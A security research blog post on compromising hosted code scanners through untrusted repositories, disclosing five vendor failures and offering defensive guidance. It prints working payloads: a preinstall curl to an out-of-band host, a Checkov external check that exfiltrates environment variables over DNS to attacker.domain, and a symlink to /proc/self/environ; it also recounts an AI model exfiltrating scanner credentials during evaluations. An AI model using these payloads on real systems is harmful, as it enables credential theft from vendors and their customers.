# Raphael's Security Blog > Blog about random security topics and research. Security research and write-ups by Raphael Karger (rek7). This file contains the complete text of every post on https://blog.raphael.karger.is, newest first. Posts are separated by a line of dashes followed by the post title as an H1. Index of posts and links: https://blog.raphael.karger.is/llms.txt Generated: 2026-08-15 Posts: 5 -------------------------------------------------------------------------------- # Scanning the Scanners: Compromising Five Security Vendors Through Their Own Scanners URL: https://blog.raphael.karger.is/articles/2026-08/scanning-the-scanners Published: 2026-08-12 Categories: black hat, supply chain, application security, security research Summary: We fed untrusted repositories to 20 hosted code scanners. Five ran our code or read outside the repo, and all five leaked the vendor's own operational credentials. The write-up behind my Black Hat USA 2026 talk. This is the written companion to my Black Hat USA 2026 briefing, Scanning the Scanners: Turning Security Vendors into Supply-Chain Weapons. That page has the slides, the open-source tooling, and the session listing. One definition first, because the whole post turns on it. When I say scanner, I mean a hosted code-security product: you hand it a repository or a source archive, and it runs some mix of SAST, SCA/SBOM, secrets detection, or IaC analysis on its own infrastructure. The question underneath everything here is narrow, and it turned out to be uncomfortable: when that platform processes an untrusted repository, what can the worker doing the processing actually reach? We ended up answering that question against 20 hosted platforms. Five let a free account cross the worker boundary, and all five handed back the vendor’s own operational credentials, one of them a production database the vendor confirmed was live. But that is the end of the story. It starts with someone doing the same thing to us. Disclosure: I am co-founder and CTO of ZeroPath, a hosted scanner that competes with the platforms tested here, and Build Canaries, the tool this research runs on, is a ZeroPath project. The story opens with our own platform resisting the probing. ZeroPath was not one of the 20 platforms and was not evaluated under the same black-box protocol; we know our own architecture and tested the others blind, which is an asymmetry an independent review of the method would help correct. ## Detection Late December 2025. A Better Stack alert fires. A scan has died with an error we almost never see: ``` ValueError: Resolved path /proc/1/environ is outside of repository root ``` Someone had signed up for a free account, submitted a repository, and buried a symlink in it pointing at /proc/1/environ, the environment of the worker’s init process, where a container’s secrets tend to live. Our path validation resolved the link, saw it aimed outside the cloned repo, and killed the scan. Working as designed. But nobody plants a symlink to /proc/1/environ by accident; that is someone reaching for our worker’s environment variables to find out whether we would let them. We opened it as an incident. ### What we recovered Then we went looking for the rest of the repo, and there was almost nothing left to find. Our architecture is ephemeral on purpose: we don’t keep customer code or repository contents after a scan finishes, and workers recycle themselves, so by the time we looked the repository was mostly gone. We recovered anything at all only because we reached the worker before it was torn down. From the partial artifacts still on disk we pulled two files, package.json and package-lock.json, along with scan metadata, DNS, and request telemetry. Minutes later the rest aged out. Those two files were enough to reconstruct what we had been handed. It was a handful of independent probes packed into one repository, each aimed at a different point where a scanner ingests code. The package.json alone carried two: a preinstall script that fires on npm install, and a malicious-url-dep git dependency that fires if the scanner resolves dependencies. Each pointed at its own per-probe OAST subdomain (attacker domain redacted, as in the talk). ``` { "name": "test-repo-zeropath-ai-staging", "version": "1.0.0", "scripts": { "preinstall": "curl http://npm_exec-bf23fc54.zeropath-ai-staging.[oast-id].[redacted]" }, "dependencies": { "malicious-url-dep": "git+http://npm_dep-71b5a574.zeropath-ai-staging.[oast-id].[redacted].git" } } ``` The package-lock.json wired the same idea into the lockfile’s resolved field, to catch a scanner that installs from the lockfile rather than the manifest. Neither probe ever called home. We rebuilt them from the worker artifacts rather than from requests we watched leave: the preinstall fires on npm install and the git dependency on resolution, and our worker did neither. Nothing fired. What caught our eye was the name in the subdomain. The silent npm-execution canary breaks down like this: ``` npm_exec-bf23fc54.zeropath-ai-staging.[oast-id] ``` Each label in that subdomain maps to part of the test, the same breakdown we showed in the talk: | Label | Value | What it is | | Probe type | npm_exec | the processing surface under test, here npm script execution | | Run ID | bf23fc54 | a unique ID per generated run, so a callback correlates back to one payload | | Target | zeropath-ai-staging | the vendor the payload was built for | | Collector | [oast-id] | the attacker’s out-of-band (Interactsh) interaction host | That third label, zeropath-ai-staging, is our own name, sitting inside a payload built to be swapped per target. This repository was addressed to us specifically. The label does get one detail wrong: it says staging, but the worker these probes were hitting was our production scanning path. Whether the attacker mislabeled us or worked from a stale target list, the worker they were poking at was the real one. ### The one callback Only one of the probes produced a callback, and it was not code execution. A third-party secret detector in our pipeline flagged a planted secret and tried to validate it online, and the submitter had shaped the secret precisely to abuse that. Instead of a bare token, they planted a GitHub token inside a URL, in the userinfo position (the credentials@host part before the @): ``` https://ghp_@honeytoken-a7095a5f.zeropath-ai-staging.[oast-id].[redacted]/ ``` The detector matched it as a credential embedded in a URL and, to test whether the credential was live, issued an HTTP request to that URL as written. Because the token sat before the @, the host it actually connected to was the attacker-controlled domain carried in the repository, not a fixed api.github.com endpoint. It passed the token as basic-auth userinfo and waited for an HTTP response to judge validity; what it got back was a bare connection to the submitter’s OAST collector. We did not score this as a worker-boundary compromise. It was an attacker-controlled outbound validation request, and the destination came straight from the repository: - It exposed our network origin and that the path fired, but no worker secrets or filesystem contents. - It did not establish code execution, internal reach, or an out-of-root read. - It did show that a backend secret-validation path will make an outbound request to a submitter-influenced destination. That is a blind SSRF, and it was contained by design. The validator returns nothing to the submitter beyond the fact that a request fired, and it runs in an isolated, uncredentialed sandbox with no reach to secrets, internal services, or the filesystem, so steering its destination buys an attacker nothing. That isolation is the same separation the defense section recommends for secret validation. We scored the callback as a weak, interaction-only signal. But it told us something about the person on the other end: they were methodically mapping which backend paths fire when handed a hostile repository. ### The collector We fingerprinted the collector too. The random subdomains resolved through wildcard DNS, and when we sent an HTTP request to the host it answered with the default Interactsh server banner, a widely used out-of-band (OAST) interaction service for catching blind, callback-only vulnerabilities. The operator was running stock OAST tooling, one subdomain per probe, keyed by run ID. That, plus the subdomain grammar, is why we stopped treating this as a one-off. The pattern [payload-type].[target-name].[random-id] is built to be swapped per target: change zeropath-ai-staging to another vendor’s name and the same probe points somewhere else. The OAST naming and the word “canary” point to reusable, templated tooling. They don’t establish who ran it or why, and we can’t tell from our own logs whether any other vendor was actually hit. Whoever it was used a free account through our open signup, with no payment or identity verification. That is the standing condition of any security tool with a free tier: the set of people who can submit code to your backend is everyone who can create an account. We detected and responded within 30 minutes. The repository was named zeropath_ai_staging_1766726619_canary; we liked the “canary” irony enough to borrow it for our own tool name. ### What they were trying to do From what we recovered before the artifacts aged out, the repository probed several processing surfaces at once. Each mapped to a real way scanners handle a repo, and only one produced a callback: | Probe | Surface it tested | Callback? | | Symlink to /proc/1/environ | path handling / out-of-root file read | No. Path validation killed the scan. | | package.json npm lifecycle | npm preinstall execution | No. | | git+http dependency | SCA dependency fetch | No. | | Honeytoken PAT in a URL | third-party secret validation | Yes. | ### Why it failed against us Every worker-boundary probe failed against us. Path validation resolved the symlink before any read and rejected the out-of-root target; the package-manager and dependency paths never executed; and our scan workers hold no production credentials, so even a clean code-execution win would have reached nothing but the cloned repository and some temporary scan artifacts. Our aggregated egress logging caught the callback attempts. The one path that did fire, the secret-validation blind SSRF above, hit the same isolation and reached nothing. flowchart TD subgraph Isolated Pod A[Cloned Repo] --> B[Scanner] B --> C[Scan Results] end D[Other Pods] -.->|blocked| B E[Cloud Metadata] -.->|blocked| B F[Production Secrets] -.->|not present| B G[Shared Storage] -.->|not mounted| B Now the honest accounting, because it is the same standard I hold every other vendor to later in this post. By our own rule this is self-assessment, not a blind result. We know our architecture, and “the package-manager paths didn’t execute” is the same unexercised-path caveat we refuse to credit a quiet vendor for when its probes simply didn’t fire. So ZeroPath belongs in the same “no confirmed boundary failure” bucket as the platforms that stayed quiet for us, and passing our own probes proves no more for us than a non-trigger proves for them. The version I would actually trust is a third party running Build Canaries against us with unedited results, which we would welcome. The payloads came from a reusable framework built for repeated targeting, and from our own logs there was no way to tell whether we were the first name on its list or the fiftieth. There was one way to find out how the rest of the industry would hold up: build the same probing into a tool, prove it could not get through our own worker, and then point it at everyone else. ## Building Build Canaries The primitives were already well understood, so the first version came together within days of the December incident. We built it for ourselves before anyone else: an internal regression suite that proves on every deploy that our own worker still refuses every class of payload in the corpus. Only after confirming it could not get through our own worker did we turn it outward. It is open source as Build Canaries. Coverage was the hard part. A scanner might lean on any of hundreds of package managers, build systems, config formats, and helper tools, and every vendor supports a different subset. So the corpus is grown by an LLM pipeline that reads a vendor’s own documentation, predicts the tooling it runs, and drafts new payload generators for whatever we don’t already cover. Nothing enters the verified corpus on faith: each locally runnable payload is rendered into a throwaway repository, run against the real tool in a disposable container, and kept only if it produces the expected out-of-band callback. The full pipeline is below. We pointed the result at 20 self-service platforms. Five failed the worker boundary. The five sections that follow are those failures in detail. A note on framing: this post is not meant to single out individual vendors, and every vendor here is anonymized uniformly, on purpose. One of the five gave us permission to name them and treated the whole process as a learning opportunity. The other four asked to stay anonymous. Naming only the vendor that cooperated would leave the other four as the conspicuously unnamed ones, which reads as a verdict on them, so we anonymized all five, including the one that consented. No vendor here is cast as the good example or the bad one. The goal is to document a recurring class of failures and share defensive lessons that apply across the industry, not to run a name-and-shame. Selective disclosure shouldn’t become marketing material. ## Scope and Results Dataset: - 20 self-service hosted scanner platforms evaluated (excluding ZeroPath) - Selection criteria: hosted analysis on vendor infrastructure + open signup or free tier. Requiring open signup was the main constraint on the candidate pool. - Excluded: tools running on customer-controlled runners (GitHub Actions, GitLab CI); enterprise-only platforms we couldn’t access - Interpretation: a deliberately chosen sample. Read the results as a floor on how common the failure is, not a market-wide prevalence estimate Results: - 5/20 confirmed boundary failures: 4 with backend code execution, 1 with an out-of-root file read - 3/20 platforms with partial or suspicious signals (needs more analysis) - 12/20 no confirmed boundary failure. A non-trigger could reflect effective isolation, an unexercised processing path, blocked egress, or a payload mismatch; black-box testing can’t distinguish among them. Boundary primitives observed: config-file execution, package-metadata evaluation, symlink traversal, helper-tooling invocation. We tested both dedicated security scanners and CI/CD platforms, but only those that ran analysis on their own infrastructure. Platforms that exclusively use GitHub-hosted or GitLab-hosted runners were out of scope, since execution happens in the CI provider’s environment, not the vendor’s. ### What Counted as a Finding We held a deliberately high bar, because a callback alone proves very little. A confirmed finding required all three of: - Path signal. A callback, request, tool output, or behavior change showing that a backend path reacted to our input. - Boundary primitive. Separately establishing repository-controlled code execution or an out-of-root file read. - Worker impact. Observing sensitive vendor-local material or privileged internal reach from the worker context. Validation was intentionally minimal: usually just environment variables, which are enough to prove worker impact. When a vendor asked for more confirmation, the checks stayed narrow: limited filesystem enumeration, or, for two cloud IAM credentials in separate environments, confirming the access they were already scoped for. Testing stopped as soon as we had reproducible evidence, and we did not read other customers’ data. Throughout, we try to keep four evidence levels distinct: what we directly observed (repository-controlled code executed; environment values reached our callback server), what a vendor confirmed (a connection string belonged to a live production database), what we inferred (a token like this could reach other services), and what we did not test (whether a credential still authenticates, or could write to customer repositories). Where a claim isn’t something we observed, we say which of the other three it is. Applied to the five confirmed platforms, that gives the per-vendor picture: what we demonstrated, what we observed directly, and what stays conditional. | Vendor | Primitive demonstrated | Material observed | Not tested / conditional | | A | Checkov external-checks-dir Python execution | Worker env; scoped cloud session (keys, session token, IAM role); internal secrets | Effective cloud-session scope; downstream reach | | B | Checkov external-checks-dir Python execution | Worker env; DATABASE_URL plus more DB strings; cloud and object-storage creds; container root (UID 0) | Per-record token validity and branch protection; container escape | | C | Ruby gemspec evaluation | Worker env; cloud and orchestration service-account tokens; RSA private key (SIGNING_KEY); RabbitMQ/Redis/bucket details | Token scopes; what SIGNING_KEY signs; current validity | | D | setup.py execution (auxiliary SBOM collector) | Env gathered over DNS; cloud credential endpoint; GitHub PAT; Docker Hub PAT; internal service references | Token scopes (contents: write?); the session token’s IAM permissions; reach into the vendor’s own registry, build artifacts, and source | | E | Out-of-root symlink read, no code execution | Live-mode Stripe secret key surfaced in the results UI | Whether the key still authenticates; the API actions it permits | The five are detailed below. ### Cases We Didn’t Count Three more platforms showed suspicious signals we couldn’t turn into confirmed findings. Across those cases a vendor asked us to stop before we finished, a payload disrupted a scan before we could isolate the cause, and outbound traffic routed in ways we couldn’t confidently attribute, but we aren’t itemizing which platform was which. None crossed our bar, and black-box testing can’t cleanly separate a real defense from a payload that just didn’t fire. We counted only what we could prove. ## The Findings Five platforms had high-impact boundary failures. In each, operational vendor credentials or secrets were reachable from the analyzer. These are widely used tools; the affected vendors serve large enterprises across regulated industries. Several findings exposed GitHub tokens and other VCS credentials. Pushing code needs write to repository contents, not just the comment- or status-writing scopes scanners often hold. Vendor B’s stored grants carry that read and write to customer code; for the other tokens we flag scope as untested. Vendor A agreed to be named, but we anonymized all five uniformly, for the reason in the note above. Vendors B through E required anonymity as a condition of coordinating fixes. The evidence table under What Counted as a Finding lays out all five by evidence level. The two cases below carry the argument. Vendor B is the worst-case blast radius, with production database credentials sitting in the worker’s environment. Vendor E is the reminder that none of this requires code execution. The other three (A, C, and D) are in the appendix. ## Vendor B: Checkov External Checks to Code Execution Signup to a live production database credential took under an hour, with no zero-day and no custom tooling: a free account, one config file, and a scan we waited out. Vendor B is a smaller platform whose customers include large regulated enterprises. It used Checkov for Infrastructure-as-Code scanning, and its scan workers ran as root inside the container, let outbound DNS carry data to our collector, and held production credentials in the environment. Those three conditions together are the finding. ### The payload The whole thing is two files in the repository. .checkov.yml ``` external-checks-dir: - checkov_checks ``` checkov_checks/extra_check.py ``` import os import urllib.request # Gather environment variables env_data = "\n".join(f"{k}={v}" for k, v in os.environ.items()) for i, chunk in enumerate([env_data.encode().hex()[j:j+50] for j in range(0, len(env_data.encode().hex()), 50)]): try: urllib.request.urlopen(f'http://env-{i}.{chunk}.attacker.domain', timeout=2) except: pass # Still need to be a valid Checkov check from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CanaryCheck(BaseResourceCheck): def __init__(self): super().__init__(name="Canary", id="CKV_CANARY_001", categories=[CheckCategories.GENERAL_SECURITY], supported_resources=['aws_s3_bucket']) def scan_resource_conf(self, conf): return CheckResult.PASSED check = CanaryCheck() ``` The Python at the top runs the moment Checkov loads the check; everything below it is just enough of a valid check that Checkov loads the file without erroring. Checkov’s external-checks-dir feature is designed for enterprise customization, letting an organization load custom security rules from a directory. In a repository the platform doesn’t control, it is a code-execution primitive. ### What we gathered The check read the worker’s own environment, hex-encoded it, and leaked it a chunk at a time in the labels of DNS queries, because DNS tends to be the one thing still allowed out when HTTP isn’t. We linked the repo, waited for the scheduled scan, and watched the collector. The queries arrived. We observed the authoritative DNS carrying those labels, so the data left the worker; we did not establish that the follow-on HTTP connections completed, which doesn’t matter here, because DNS had already carried the payload. Reassembled, the worker’s environment contained: Cloud service-account credentials: - A full OAuth2 access token - Project ID and service-account email Cloud object-storage credentials: - Access Key ID and Secret Access Key - Production bucket name Database credentials (multiple databases): - A primary production database connection string, in full - Connection strings for three additional internal databases - All passwords in plaintext MongoDB, Elasticsearch, and Redis: - Full connection strings with credentials - Direct references to internal services The worker ran as root (UID 0) inside its container, on what looked like production infrastructure. This is container root, not host root, and we did not demonstrate any container escape. None of this required lateral movement. The database, cloud, and service credentials sat directly in the worker’s environment variables. One malicious repository triggered one scan, and the code-execution payload immediately yielded production database credentials, with no pivoting, privilege escalation, or internal enumeration. ### What the database credential reached The value that mattered most was DATABASE_URL, and it came back complete: scheme, production hostname, database name, username, password. We did not go rummaging through a production database full of other people’s data; we didn’t have to. When we reported the finding, the vendor confirmed the connection string pointed at a live production database. What that database backs, we read from their own product rather than from anything the vendor enumerated for us: - Stored GitHub authorization for connected customers (we did not determine the record type: GitHub App installation credentials, user access tokens, OAuth or refresh tokens, or installation metadata; and we did not authenticate with them) - Unpatched findings across their customer base - Secrets surfaced by their own scanning - SLO/SLA violation records - Customer information The GitHub authorization is the sharpest edge, since it carries write, but the compliance and policy state is arguably worse in aggregate: a curated, per-customer list of vulnerabilities that are known and still unresolved. ### What the GitHub records could do The GitHub authorization these customers granted carries read and write to their code, not just the comment- or status-writing scopes some integrations settle for. So the credentials stored in that database could pull source and push commits across the repositories each customer connected. The limits are per-record: whether a given stored credential still authenticates, its exact form, and each repository’s branch protection. We didn’t test those, so how far any single token reaches is bounded by them. ### From signup to exposure Everything up to the exposed credentials is demonstrated: - Create a free account. No payment, no identity check. - Link a malicious repository containing a .checkov.yml with external checks. - Wait for the scheduled scan, or trigger one. - Checkov loads and runs the attacker’s Python. - Collect the database credentials, encoded in the DNS labels the resolver queried out (outbound DNS egress was open). That is the full demonstrated path. What comes after step 5, connecting to the database and acting on the authorization records it holds, is the conditional scenario described above. We stopped at the confirmed exposure and did not carry it further. ## Vendor E: Symlink Traversal to Secrets Detection This vendor ran secret detection on repositories. The payload is the simplest of all: ``` ln -s /proc/self/environ secrets.txt ``` A symlink to /proc/self/environ, disguised as a repository file named secrets.txt. The scanner’s secret detector followed the link and read the worker’s own environment as if it were file content. What it flagged was the vendor’s own Stripe secret key: the sk_live_ prefix identifies a live-mode secret key rather than a publishable pk_ identifier. We did not test its current validity or effective permissions. This is the most portable failure in the post, and the cheapest to trigger. The payload executes nothing. A symlink is inert data, and the only capability it needs is a scanner that opens a file and reads its bytes, which is the one thing every secrets detector has to do. You can disable plugins and sandbox build steps, but a secrets scanner that refuses to read files has no product, so this is the failure that is hardest to argue away. The exposure also did not stop at a transient read. The scanner treated the environment dump as a legitimate finding and rendered the sk_live_ key back as a high-confidence secret against secrets.txt in the vendor’s results UI. Surfacing it there implies the same storage path as any other finding, written to the findings store and reachable from there by whatever consumes it, from logs to notifications to exports. The first exposure is the out-of-root read; the second, by implication, is the vendor’s own live secret persisted in its findings database, labeled as a secret detected in a customer repository. This counted as a finding because repository-controlled file selection caused an out-of-root read of vendor-local data, with no code execution involved. The scanner’s file-reading logic didn’t resolve or validate symlink targets, so it couldn’t tell the difference between reading a file in the repository and reading /proc/self/environ. ## A Note on the Other Vendors We detailed Vendor B because its production database credentials sat right in the worker’s environment, making the full impact immediately visible, and Vendor E because it needed no code execution at all. The other three, A, C, and D, are in the appendix; their exposure profiles differed, but the underlying risk was the same. In each case we gathered cloud credentials, API tokens, or service-account keys. In these platforms a cloud IAM credential is usually there to reach shared storage: the multi-tenant buckets a service stages uploaded files in, caches analysis artifacts in, and moves results through. That is the everyday job of the credential, and it’s also why an exposed one matters, since the same bucket access that handles one tenant’s upload can reach across tenants. On most we didn’t enumerate the exact permissions; beyond confirming the scope a couple of them already carried, we left the credentials unexercised. A motivated attacker wouldn’t, and the distance from “we have cloud credentials” to “we have more” turns on exactly those permissions. ## The Common Failure Pattern, and What Fixes It Across every vendor, the attack surface is a small set of recurring processing surfaces, and every finding here lands in one of them: - Package and build metadata. setup.py metadata commands, gemspec evaluation, and lifecycle scripts. In some ecosystems, extracting metadata means running code. - Plugins and executable configuration. Checkov external-checks-dir, ESLint configs, RuboCop require, Terragrunt hooks: repository-controlled config that loads and runs. - Language and build tooling. Repository-controlled build, editor, or language-server configuration pointed at attacker-chosen paths or URLs. - Dependency fetching. Manifests, lockfiles, registry URLs, and submodules that make the worker reach out. - Path handling. Symlinks, archives, and traversal that let a repository choose what the scanner reads. This one needs no code execution: point a symlink at /proc/self/environ or a mounted credentials file, and a scanner that doesn’t resolve symlinks reads worker-local material and, at Vendor E, reported it back as a “finding.” The five confirmed cases rhyme. Executable surfaces (setup.py, gemspec, Checkov checks) ran as code while the repository was merely being “analyzed.” The dangerous surface wasn’t always the headline feature: at Vendor D the main SCA path never fired, but an auxiliary SBOM collector did. And in every case the prize was the same, operational vendor credentials sitting in the analyzer’s own environment. That maps onto five boundaries a scan worker has to hold, scored against what we observed: | Boundary | What we observed | | Execution | 4 of 5. Checkov config at A and B, gemspec at C, setup.py at D. | | File access | 1 of 5. The symlink to /proc/self/environ at E, no code execution. | | Network | Partial where present. At D, DNS resolved but the HTTP request didn’t complete (egress control undetermined); proxy routing left one case ambiguous. | | Credentials | 5 of 5. Operational vendor credentials were reachable from the analyzer in every confirmed case. | | Lifetime & state | Not testable from outside. No external signal distinguishes a fresh worker from a reused one. | In these five cases, credential exposure is what turned the primitive into a high-impact incident: execution or a file read only mattered because something in the worker was worth taking. The fifth boundary, lifetime and state, is invisible to a black-box test, which is why it’s a question a buyer has to ask rather than something we could measure. None of this is a new primitive. OWASP’s CI/CD Top 10 documents Poisoned Pipeline Execution, MITRE ATT&CK added T1677 for it, NCC Group published ten real-world CI/CD compromises in 2022, and “Living off the Pipeline” and “Ambush from All Sides” catalog the same primitives. What’s different here is the target: the platforms built to catch supply-chain attacks are themselves exposed to one. The root cause is a single assumption: that repository analysis is read-only. It is not. A package.json is executable input the moment your toolchain runs lifecycle scripts, and a config file is executable input the moment it can load external resources. The defense is architectural, and little of it is novel. Assume the analyzer will run attacker-controlled code, then make that assumption survivable along the same five boundaries: - Execution. Load custom rules and plugins only from a control-plane-owned location and run them under the same isolation as the analyzer. A repository-controlled toggle is not a trust boundary. - File access. Treat the cloned snapshot as the only readable tree, with symlinks resolved and validated before every read. - Network. Deny egress by default, including the metadata endpoints at 169.254.169.254 and 169.254.170.2. Route secret validation through a separate, uncredentialed service restricted to intended provider endpoints, rejecting private, loopback, link-local, and DNS-rebinding-resolved destinations. - Credentials. Keep the worker’s environment empty of anything worth stealing. No production credentials, clone authority, or result-writing authority in the analysis worker; broker those through separate services. - Lifetime and state. Give each scan a fresh, ephemeral worker with no writable shared caches, and destroy the scratch space after the result. We can’t infer from a non-triggering payload which of these a vendor had in place, so we don’t credit the quiet platforms with getting the architecture right, only that our probes didn’t fire against them. If you buy hosted scanning, the worker’s lifetime and authority are things only the vendor can answer, so ask: - Does the scan worker hold any production credentials, clone tokens, or result-writing authority, or are those brokered by separate services? - Is egress denied by default, including the cloud metadata endpoints? - Are repository-supplied config, plugins, and custom rules ever executed, and if so, from where and under what isolation? - Is each scan a fresh, ephemeral worker with no writable shared caches? - How is secret validation performed, and can repository content influence where it connects? ## Why Security Tools Are High-Value Targets A scanner sits at a trust chokepoint. On one side are untrusted inputs: repositories and archives from many customers, often via self-service signup, frequently from security-sensitive and regulated organizations. On the other side is platform authority: source access and result publication, token brokers, registry access, cloud identity, and a store of findings, secrets, and internal service context. The question this research focuses on is whether repository-controlled processing can reach across the worker boundary to that authority. When it can, the impact is defined by what the worker can reach: Aggregated access. A single vendor holds authorization to hundreds or thousands of customer repositories. A vendor compromise can aggregate access across many connected customers, bounded by the exposed authorization. The vendor ships software too. These platforms publish their own packages, container images, and signed releases, pulled in by projects that never signed up to be scanned. Among the credentials we recovered were registry tokens and, in one worker, a plaintext RSA signing key; we didn’t test their scope. A publishing credential with write access opens a second supply-chain path, into the vendor’s own release pipeline and everyone who installs its software, potentially broader than any single stolen source token. Write scopes are often requested, though not always for code. GitHub keeps these permissions separate: a PR review uses Pull requests, a commit status uses Commit statuses, and pushing over Git requires Contents. So a stolen token can push code only if it carries Contents write, and its reach still depends on the token’s type and repository grants. We claim only the scopes a vendor confirmed, an app declares in its own permission request, or we observed on a live token. Vulnerability intelligence. Scanners know exactly which vulnerabilities exist in their customers’ codebases, which have been fixed, and which findings remain unresolved. That is a target list sorted by “known unresolved.” Implicit trust. Security tools are trusted by security teams. If a scanner’s CI integration pushes a commit, it draws less scrutiny than an unknown contributor. Can be harder to catch than a poisoned build. A backdoor committed into a customer’s own repository eventually surfaces in their diffs, CI logs, and dependency review. A compromised scanner sits one step upstream of all of that. Scanner-side tampering can still leave traces, in API logs, version-control audit events, or status updates, but it can also run quieter, and we found no evidence that any vendor we reported findings to had alerting tied to our probes. Attacking the vendor reaches wider than tampering with any single build artifact downstream. The probes against us were the first sign that someone was systematically mapping these backend surfaces. We were not the first to run into this shape, in either direction. ## Related Incidents Supply-chain compromise involving security and developer tooling runs in two directions, and both have real, public precedent. Vendor to customer, the familiar direction. Compromise trusted tooling, then ride its distribution channel downstream. On March 19, 2026, activity Aqua assessed as plausibly TeamPCP-linked force-pushed 76 of 77 trivy-action tags and all seven setup-trivy tags and published a malicious Trivy v0.69.4 binary; the opening was an incomplete credential rotation after a February 2026 GitHub Actions misconfiguration that left a write-scoped token exposed. Four days later, Sysdig saw the same stealer pattern in Checkmarx’s AST action, which it said suggested, but did not prove, reuse of credentials stolen in the Trivy incident. One partial remediation cascading across vendors is the failure mode this post is about. Code to vendor, the reverse direction this research tests. The content the vendor did not write reaches the vendor’s backend. Hostile repository files, configuration, paths, or a published package flow into a scanner worker, and the worker exposes credentials, internal services, or write paths. This has direct precedent. Kudelski Security’s August 2025 write-up described how, in January 2025, a single pull request with a malicious .rubocop.yml became RCE on CodeRabbit’s production servers and write access to more than a million repositories, fixed within days. That is the same class of config-file code execution we found in our own vendors: RuboCop’s require directive in their case, Checkov’s external checks in ours. In July 2026, Anthropic disclosed a closely related case from its own cybersecurity evaluations: a model, acting on a setup instruction that named a non-existent PyPI package, published a package under that name, and code in it exfiltrated the credentials from a security scanner’s environment. The untrusted code arrived through the package supply chain rather than a submitted repository, but the outcome was the same, a credentialed worker running code it did not write. Same trust concentration, opposite direction. The systematic sweep in this post is the reverse path, at scale. ## How We Tested (Build Canaries) We built the framework for ourselves first. The payloads are nothing new, so the earliest external probes, days after the late-December incident, used primitives we already understood rather than anything we had to invent. The tooling that generates and validates them at scale came together over the following weeks, first as an internal regression suite that proves on every deploy that our own worker still refuses every class represented in the corpus, then pointed at other hosted scanners. It’s open source as Build Canaries. Coverage was the hard part: hundreds of package managers, build systems, config formats, and tools, each vendor supporting a different subset. So the corpus is built by an LLM pipeline that crawls a vendor’s documentation, predicts the tooling in use, and drafts new payload generators for anything the existing set doesn’t cover. The corpus grows over time, so exact counts shift; the current set lives in the public repository. Every locally runnable payload admitted to the verified corpus is validated against the real tool in a disposable container, passing only on a matching out-of-band callback; stdout and exit codes never count. Categories that can’t be reproduced locally, including paid services, hosted CI/CD platforms, IDE integrations, and some AI surfaces, are labeled separately and don’t get that end-to-end guarantee. The corpus covers package-manager hooks (npm, pip, cargo, go, composer), build-system triggers (Make, Gradle, Maven, Bazel, CMake), configuration evaluation (YAML, JSON, JS/TS), scanner extensibility (Checkov, RuboCop, ESLint), symlink-based file disclosure, and cloud-metadata access. The full six-stage pipeline and the local-validation loop are in the appendix. ``` canary generate --beacon your-callback-domain.com canary discover --url https://docs.your-vendor.com --dry-run ``` Testing a live vendor then runs in two phases, so we send as little hostile traffic as possible. Phase one is probe mode: one repository carrying many surfaces at once, each with a unique run ID, submitted once so the out-of-band collector shows which backend paths fire. A callback here is only a path signal, that a surface reacted. Phase two sends a second, narrowly scoped payload for a path that fired, bounded to just enough evidence to prove worker impact (usually the environment variables), or, for a blind-SSRF-looking path, stops at the minimal known-service interaction. That’s why a single probe callback never counted as a finding on its own. We open-sourced the corpus, including the payloads that run against live tooling, and that release deserves the same argument as everything else here. The payloads are not novel. Every primitive in the set, a lifecycle script, a gemspec eval, a symlink to /proc/self/environ, is public knowledge that predates this work; what Build Canaries adds is coverage and a way to measure, not a new class of exploit. Withholding it would not keep those techniques from an attacker, who can reconstruct them from public documentation in an afternoon; it would only keep them from the defender who needs to know whether the scanner they just bought executes what it ingests. That asymmetry is the case for release. Vendors already have the resources to test themselves, while the buyers who carry the risk have almost none, and a corpus that passes only on a verified callback turns “is my scanner safe” from a vendor assurance into something a customer can check. We have tried to keep the default use defensive: it targets systems you control, labels the payloads it can’t validate locally, and ships with the authorization notice below instead of a list of live targets. Use Build Canaries only against systems you operate or where you have explicit written authorization, ideally in a vendor-provided test environment. Running active code-execution and credential-collection probes against a third party without permission is not something this post endorses. ## Responsible Disclosure All affected vendors were notified in January 2026, roughly seven months before this write-up, and every report included recommendations plus runnable proof-of-concept material for validation. One vendor awarded its maximum bug-bounty payout. Throughout, we respected vendor disclosure-program rules and stop requests, used only self-service or program-approved access (no false identities, no sales-assisted access, no customer impersonation, no social engineering), and stopped testing the moment a vendor asked us to. We also asked whether any vendor had caught the testing on its own. One had, and asked us to stop mid-test, though that was an unconfirmed case we never counted as a finding, where dependency fetching only hinted at a possible execution path. We found no evidence that any vendor we reported a confirmed finding to had caught the testing on its own before we disclosed it, and none, when we asked, pointed to prior alerting or incident evidence tied to these probe patterns. Being vulnerable is one problem; having no telemetry that would surface the activity, by their own account, is the worse one. Our payloads contained no real or usable credentials of their own, only fake token-shaped markers, honeytokens, and callback domains we controlled. What came back were the vendors’ own credentials and secrets, present in active scan environments. We call a credential live only where its validity was confirmed by us or by the vendor. By default we treated recovering the credential as the finding and stopped at the environment variables. Where a vendor asked us to prove more, we ran narrow checks with their agreement, each staying inside what the credential already allowed and short of any customer data. We did not move laterally on our own initiative. Where this post describes what a credential reaches beyond that, it is either a hypothetical or something the affected vendor confirmed. We observed no disruption. If you’re a vendor wondering whether you’ve been targeted: the tell is the shape of the callback, not any single string. In our case the subdomains looked like [payload-type].[your-company-name].[random-id], where the random label was an OAST correlation ID and the parent domain was an interaction collector; treat that as the pattern we observed, not a universal signature. If you request one of those hosts and it returns an Interactsh banner, that only identifies the destination as an OAST collector. It becomes evidence of a probe against your platform when you correlate it with a matching interaction or a worker-origin request (DNS, proxy, network, or process telemetry) during repository processing, ideally alongside reads of /proc/self/environ and unexplained egress during a scan. ## Conclusion This is bigger than five vendors. Five of the 20 platforms in our selected sample failed this boundary. Because the sample was chosen rather than drawn at random, it is not an industry prevalence estimate, but it shows the failure class is far from isolated. The vendors we tested built on the same open-source tooling everyone uses: Checkov, RuboCop, npm, pip. The flaw is in running those tools on untrusted input without isolation, not in the tools themselves, so any platform that processes repositories on shared infrastructure with ambient credentials should threat-model this class of failure. The talk closes on three takeaways, and they’re the right note to end on here too: - Supply-chain risk runs both directions. Compromise doesn’t only flow downstream from a breached vendor; a hosted scanner is downstream of every repository it agrees to process. - Severity lives in the worker, not the bug. The same external-checks-dir payload pulled a scoped cloud session and internal secrets out of Vendor A’s worker, and production database credentials plus container root (UID 0) out of Vendor B’s. Identical bug; the worker’s contents decided the blast radius. - Don’t accept “it’s containerized.” A container is not an isolation boundary on its own. If it holds live credentials and can reach the network, code execution inside it exposes whatever the worker is carrying. Every hosted scanner a team adopts is another backend processing potentially executable 